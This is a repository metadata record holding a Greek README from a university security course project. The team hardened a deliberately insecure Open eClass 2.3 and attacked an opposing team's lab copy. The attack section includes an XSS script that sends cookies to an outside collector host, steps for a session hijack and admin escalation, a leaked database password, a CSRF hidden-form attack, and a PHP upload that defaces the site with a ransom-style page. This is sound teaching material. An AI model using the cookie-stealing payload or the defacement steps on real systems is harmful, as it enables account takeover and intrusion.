{"id":25417723,"url":"https://github.com/tech-gian/eclass-penetration-test","last_synced_at":"2026-04-29T15:39:38.252Z","repository":{"id":186705140,"uuid":"675604242","full_name":"tech-gian/Eclass-Penetration-Test","owner":"tech-gian","description":"🔒🛡️🌐Eclass penetration testing for the first project of course \"Computer Systems Protection and Security\"","archived":false,"fork":false,"pushed_at":"2023-08-07T09:59:48.000Z","size":15206,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-16T18:01:49.837Z","etag":null,"topics":["mysql","penetration-testing","php"],"latest_commit_sha":null,"homepage":"https://ys13.chatzi.org/","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tech-gian.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-08-07T09:55:08.000Z","updated_at":"2023-08-07T10:08:32.000Z","dependencies_parsed_at":null,"dependency_job_id":"16b61efd-8af5-44b5-8244-3e9d331cfd74","html_url":"https://github.com/tech-gian/Eclass-Penetration-Test","commit_stats":null,"previous_names":["tech-gian/eclass-penetration-test"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tech-gian%2FEclass-Penetration-Test","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tech-gian%2FEclass-Penetration-Test/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tech-gian%2FEclass-Penetration-Test/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tech-gian%2FEclass-Penetration-Test/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tech-gian","download_url":"https://codeload.github.com/tech-gian/Eclass-Penetration-Test/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252579975,"owners_count":21771247,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["mysql","penetration-testing","php"],"created_at":"2025-02-16T18:01:31.618Z","updated_at":"2026-04-29T15:39:33.217Z","avatar_url":"https://github.com/tech-gian.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"## Open eClass 2.3\n\nΤο repository αυτό περιέχει μια __παλιά και μη ασφαλή__ έκδοση του eclass.\nΠροορίζεται για χρήση στα πλαίσια του μαθήματος\n[Προστασία \u0026 Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13)](https://ys13.chatzi.org/), __μην τη\nχρησιμοποιήσετε για κάνενα άλλο σκοπό__.\n\n\n### Χρήση μέσω docker\n```\n# create and start (the first run takes time to build the image)\ndocker-compose up -d\n\n# stop/restart\ndocker-compose stop\ndocker-compose start\n\n# stop and remove\ndocker-compose down -v\n```\n\nTo site είναι διαθέσιμο στο http://localhost:8001/. Την πρώτη φορά θα πρέπει να τρέξετε τον οδηγό εγκατάστασης.\n\n\n### Ρυθμίσεις eclass\n\nΣτο οδηγό εγκατάστασης του eclass, χρησιμοποιήστε __οπωσδήποτε__ τις παρακάτω ρυθμίσεις:\n\n- Ρυθμίσεις της MySQL\n  - Εξυπηρέτης Βάσης Δεδομένων: `db`\n  - Όνομα Χρήστη για τη Βάση Δεδομένων: `root`\n  - Συνθηματικό για τη Βάση Δεδομένων: `1234`\n- Ρυθμίσεις συστήματος\n  - URL του Open eClass : `http://localhost:8001/` (προσοχή στο τελικό `/`)\n  - Όνομα Χρήστη του Διαχειριστή : `drunkadmin`\n\nΑν κάνετε κάποιο λάθος στις ρυθμίσεις, ή για οποιοδήποτε λόγο θέλετε να ρυθμίσετε\nτο openeclass από την αρχή, διαγράψτε το directory, `openeclass/config` και ο\nοδηγός εγκατάστασης θα τρέξει ξανά.\n\n## 2023 Project 1\n\nΕκφώνηση: https://ys13.chatzi.org/assets/projects/project1.pdf\n\n\n### Μέλη ομάδας\n\n- 1115201900207, Φραγκούλης Θεόδωρος ([theofrag](https://github.com/theofrag))\n- 1115201900059, Ζαπάντης Ιώαννης ([tech-gian](https://github.com/tech-gian))\n\n### Report\n\n### Defense\n\n#### Sql Injections\n  Η προστασία του site από αυτού του είδους την επίθεση έγινε σε 2 στάδια. Αρχικά, παρατηρήσαμε πολλές από τις ενέργειες ενός χρήστη\n  στα modules που αναφέρονται στην εκφώνηση αλλά και σε γενικές λειτουργίες του site και ασφαλίσαμε όλα τα σημεία, τα οποία προερχόντουσαν από κάποια είσοδο του χρήστη, είτε αυτό ήταν ένα πεδίο σε κάποια φόρμα, είτε απευθείας στο url ως παράμετρο είτε\n  σε κάποιο request απευθείας στον server. Στη συνέχεια, ελέγξαμε μεγάλο μέρος του κώδικα του project για να ασφαλίσουμε όλα τα\n  σημεία που τυχώς μας ξέφυγαν κατά το 1ο στάδιο. Τέλος, ασφαλίσαμε και όλες τις λειτουργίες που μπορεί να κάνει ο διαχειριστής, με τη λογική ότι αν κάτι μας διέφυγε και ένας κακόβουλος χρήστης, κατάφερνε να πάρει πρόσβαση στα στοιχεία του διαχειριστή, να μη\n  καταφέρει να κάνει κάποια άλλη ενέργεια από αυτές που του επιτρέπει το site.\n\n  Η ασφάλεια έγινε με τη βοήθεια της βιβλιοθήκης `mysqli` και συγκεκριμένα των συναρτήσεων, που θα βρεθούν σε διάφορα σημεία στον κώδικα:\n  - `$conn-\u003eprepare()`\n  - `bind_param()`\n  - `execute()`\n  - `get_result()`\n  - `fetch_assoc()`\n  - `mysqli_num_rows()`\n\n  Τα ακριβή αρχεία που έχουν ασφαλιστεί μπορούν να φανούν στα commits που έχουν γίνει, αλλά ακόμα και στα ονόματα των commits, μιας και σχεδόν κάθε commit, αφορά ένα αρχείο.\n\n#### Remote File Inclusion\n  Για τη προστασία του site από αυτού του είδους την επίθεση έγινε κυρίως στα modules `Εργασίες` και `Ανταλλαγή Αρχείων`. Και στα 2 modules ακολουθήθηκαν οι παρακάτω λογικές:\n\n  - Αρχικά, τα αρχεία που γίνονται upload μετονομάζονται με τυχαία ονόματα, με τα οποία και αποθηκεύονται στον server. Το αρχικό τους όνομα αποθηκεύεται στη βάση δεδομένων, για κάποιο μελλοντικό download. Αυτό γίνεται για να μη μπορεί ένας κακόβουλος χρήστης να τα εντοπίσει.\n  - Στη περίπτωση `Εργασίες`, ακολουθείται η ίδια λογική και στην ονομασία του φακέλου της κάθε εργασίας.\n  - Στη συνέχεια, κατά την αποθήκευση των αρχείων, αυτά μετατρέπονται σε .txt αρχεία, ώστε να μην είναι εκτελέσιμα (στη περίπτωση, για παράδειγμα, που κάποιος κακόβουλος χρήστης ανεβάσει κάποιο .php αρχείο ή παρόμοιας κατάληξης). Κατά το download, μετατρέπονται και πάλι στην αρχική τους κατάληξη.\n  - Τέλος, κατά τη δημιουργία φακέλων για κάθε course (κατά τη `Δημιουργία μαθήματος`), δημιουργείται σε κάθε φάκελο και ένα index.html, το οποίο απλά αναφέρει ότι ο χρήστης δεν έχει πρόσβαση στο folder. Αυτό συμβαίνει, ώστε ένας κακόβουλος χρήστης να μην έχει πρόσβαση να δει τα περιεχόμενα των φακέλων `work` ή `dropbox`.\n\n#### XSS\nTo site στην αρχή δεν είχε καμμία προστασία για xss attacks. Προστέθηκε σε όλα τα modules η συνάρτηση htmlspecialchars() ή το alias q().\nΕπίσης χρησιμοποιήθηκε η βιβλιοθήκη htmlpurifier ώστε σε φόρμες που το body θα έπρεπε να είναι μορφοποιημένο(πχ bold,italic tags κτλπ) να \nπαρουσιάζονται κανονικά στον χρήστη.\nΈγινε έλεγχος για την ασφάλιση απο XSS attacks και όταν γίνεται edit κάποιο modules.\nΕπίσης ασφαλίστηκαν όλα τα κομμάτια του admin θεωρόντας πως αν ο επιτηθέμενος αποκτησει πρόσβαση, δεν θα πρέπει να μπορεί να εκτελέσει\nκανένα script-ακι.\nΤέλος η συνάρτηση htmlspecialchars εφαρμόστηκε και στην μεταβλήτη $_SERVER['PHP_SELF'].\n\n### Attack\nΒρέθηκαν ευπάθειες απο XSS σε πολλά σημεία του αντίπαλου site.\n\nΤο κύριο XSS attack έγινε μέσω της περιοχής συζητήσεων.\nΣτο \"Περιοχες Συζητήσεων-\u003eΓενικές συζητήσεις\" ανοίξαμε \"Νέο θέμα\"\nΈκει μέσω του εργαλείου \"Μεταβασή σε κώδικα html\" στο σώμα μηνύματος\nβάλαμε το script-ακι :\n\n```\n\u003cscript\u003e\nvar xhr = new XMLHttpRequest();\nxhr.open('GET',\n'http://securenet.puppies.chatzi.org/cookie_stealer_writer.php/?cookie=' +\nencodeURIComponent(document.cookie));\nxhr.send();\n\u003c/script\u003e\n```\n\nΣτο http://securenet.puppies.chatzi.org/cookie_stealer_writer.php εχουμε\nφτιάξει ενα php script που παίρνει το cookie και το γράφει σε ένα αρχείο\nτο cookie.txt.\n\nΎστερα στείλαμε μήνυμα στον admin να διαβάσει το θέμα στις περιοχές\nσυζητήσεων.\nΣτην συγκεκριμένη περίπτωση είναι το \"Serious question for eclass\nenhanced\" που περιέχει το XSS attack.\n\nΑφου πήραμε το cookie του αντιπαλου με inspect-\u003econsole και\ndocument.cookie = \"το cookie που κλέψαμε\" συνδεθήκαμε ως διαχειριστής.\n\nΜέσω του\nhttp://hackmelikeyoudo.csec.chatzi.org/modules/admin/eclassconf.php\nβρήκαμε τον κωδικό της βάσης δεδομένων και το username.\nΟ κωδικός είναι Pf7xhe4jM7.\n\nΈχοντας κωδικό ΒΔ συνδεθήκαμε στο\nhttp://hackmelikeyoudo.csec.chatzi.org/modules/admin/mysql/\nusername: root\npassword: Pf7xhe4jM7\n\nΑπο την βάση δεδομένων στον πίνακα eclass.user πήραμε τον hashed κώδικο\nτου admin ο οποιος είναι ο 0350dda90d4d6840b442c0bef46f7873\n\nΎστερα δώσαμε πρόσβαση ως διαχειριστή στον test user μας κάνοντας insert\nτου user_id του στον πίνακα eclass.admin.\n\nusername: test\npassword: password.\n\nΘα αλλάζαμε και τον κωδικό του drunkadmin μέσω της σελίδας:\nhttp://hackmelikeyoudo.csec.chatzi.org/modules/admin/password.php\nαλλα κάποιο bug στον κώδικα του αντίπαλου site δεν ενημερώνει τον κωδικό\nστην βάση.\n\nΩστόσο ο κωδικός του μπορεί να αλλάξει απευθείας απο την ΒΔ αφού έχουμε\nπρόσβαση.\n\nΤο defacement έγινε μεσω RFI\n\nΑλλα xss attacks που γίνονται είναι μεσω:\n  - xss στην αλλαγη του προφιλ μου. Εισάγουμε το script-ακι εκεί\n  Ο admin μπαίνει σε μαθημα-\u003eστατιστικα χρησης-\u003eεπισκεψεις χρηστων στο μαθημα και τρώει το xss\n  - Tηλεσυνεργασια, γράφοντας το script-ακι εκεί. Όποιος ανοίξει την τηλεσυνεργασία τρώει το xss attack\n\n#### CSRF\nΓια την αντιμετώπιση των CSRF παράγεται ένα τυχαιο token στο session, το οποίο στέλνεται απο ενα hidden field σε κάθε φορμα που στέλνεται.\nΎστερα υπάρχει η συνάρτηση validate_csrf_token που ελέγχει αν έχει σταλθεί token \nκαι αν το token που στάλθηκε είναι το token που είναι αποθηκευμένο στο session.\n\n### Attack\n\nΣε αυτό το σημείο αφού είχαμε δικαιώματα admin δεν χρειαζόταν να στέλνουμε email, όποτε πειραματιστήκαμε με διάφορα csrf attacks.\n\nTo κυριότερο ήταν να στείλουμε με mail στον admin έναν σύνδεσμο που τον έστελνε στο site μας http://securenet.puppies.chatzi.org/csrfattack.html.\n\nΑπο εκεί υπήρχε μια κρυμμένη φόρμα που έκανε post request στο http://hackmelikeyoudo.csec.chatzi.org/modules/course_tools/course_tools.php?submit=yes\u0026action=2. \nΑυτό δημιουργούσε έναν νέο σύνδεσμο στο μάθημα. \nΓια να εκτελεστεί με επιτυχία θα έπρεπε ο admin να έχει μπεί πρώτα στο μάθημα. \nΑυτό το καταφέραμε εύκολα με ένα iframe που έκανε request στο http://hackmelikeyoudo.csec.chatzi.org/courses/TMA104/. \nΠρώτα εκτελείται το iframe και μετά το post request απο κώδικα js. Ο html/js κώδικας μπορεί να προσαρμοστεί για να γίνει πιο πειστικός. Στην θέση του συνδέσμου θα μπορούσε να είναι ένα link σε δική μας σελίδα που θα κλέβει το cookie του αντιπάλου ή θα εκτελεί άλλα attacks\n\n\n#### Sql Injections\n  Προσπαθήσαμε σε διάφορα σημεία της εφαρμογής να βρούμε κάποιο κενό ασφαλείας για αυτού του είδους την επίθεση. Αυτό προσπάθησε να γίνει\n  είτε μέσα από κάποιο πεδίο είτε από κάποια παράμετρο σε εκάστοτε url. Δε καταφέραμε να βρούμε κάποιο vulnerability, είτε από ορθή\n  εργασία της αντίπαλης ομάδας στο κομμάτι της άμυνας από αυτή την επίθεση είτε λόγω κάποιας δικής μας αστοχίας στα attacks.\n\n#### Remote File Inclusion\n  Για τη συγκεκριμένη επίθεση, αρχικά δοκιμάσαμε να παραβιάσουμε το module των `Εργασιών` ή της `Ανταλλαγής Αρχείων`. Παρότι είχαμε πρόσβαση\n  στο να διαβάσουμε μέσα στα folders που αποθηκεύονται τα αρχεία που γίνονται upload από τον χρήστη, δεν είχε κάποιο νόημα για εμάς, διότι\n  η αντίπαλη ομάδα είχε εφαρμόσει κάποιου είδους whitelist στη κατάληξη των αρχείων που μπορούσαν να γίνουν upload και άρα δε καταφέραμε\n  να ανεβάσουμε κάποιο αρχείο με κακόβουλο εκτελέσιμο κώδικα μέσα του. Αν το site θεωρείται μη λειτουργικό με τη χρήση της whitelist και\n  σε περίπτωση που δεν την είχαν εφαρμόσει, τότε θα μπορούσαμε να εκτελέσουμε τα αρχεία που ανεβάζουμε σε αυτά τα modules, μιας και μπορούμε\n  να τα διαβάσουμε.\n\n  Ύστερα, βέβαια από απόκτηση του κωδικού του διαχειριστή (επιτεύχθηκε μέσω XSS attack), καταφέραμε να έχουμε πρόσβαση στο `/modules/import/import.php`\n  μέσω του οποίου ανεβάσαμε ένα δικό μας αρχείο .php, το οποίο εκτελέσαμε και αλλάξαμε τη κεντρική σελίδα του αντίπαλου site, σε μία δική μας\n  index.php. Το συγκεκριμένο defacement, αναφέρθηκε και σε email που στάλθηκε στον drunkadmin.\n  Το php αρχείο που ανέβηκε ήταν αυτό που άλλαζε την αρχική σελίδα του αντίπαλου site.\n  O html κώδικας είναι ο παρακάτω:\n  ```\n  \u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n\t\u003ctitle\u003eYou have been hacked\u003c/title\u003e\n\t\u003cstyle\u003e\n\t\tbody {\n\t\t\tbackground-color: #1c1c1c;\n\t\t\tcolor: #e8e8e8;\n\t\t\tfont-size: 80px;\n\t\t\ttext-align: center;\n\t\t\tmargin-top: 200px;\n\t\t\tfont-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;\n\t\t}\n\t\th1 {\n\t\t\tcolor: #ff5a5f;\n\t\t\ttext-shadow: 2px 2px 4px #000000;\n\t\t}\n\t\tp {\n\t\t\tcolor: #f7b733;\n\t\t\ttext-shadow: 1px 1px 2px #000000;\n\t\t}\n\t\u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\t\u003ch1\u003eYou have been hacked by SecureNet\u003c/h1\u003e\n\t\u003cp\u003eWe've taken control of your system and there's nothing you can do about it.\u003c/p\u003e\n\t\u003cp\u003eYour files are ours now. Pay up or suffer the consequences.\u003c/p\u003e\n\t\u003cp\u003eSecureNet doesn't mess around.\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n  ```\n\nΎστερα ανεβάσαμε και το αρχείο με τον παρακάτω κώδικα:\n```\n$old_name = \"newIndex.php.php\";\n$new_name = \"/var/www/openeclass/index.php\";\n\nif(rename($old_name, $new_name)) {\n    echo \"File renamed successfully.\";\n} else {\n    echo \"Error renaming file.\";\n}\n\n```\n\nΜετά την εκτέλεση του παραπάνω κώδικα αλλάξαμε την αρχική σελίδα του χρήστη.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftech-gian%2Feclass-penetration-test","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftech-gian%2Feclass-penetration-test","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftech-gian%2Feclass-penetration-test/lists"}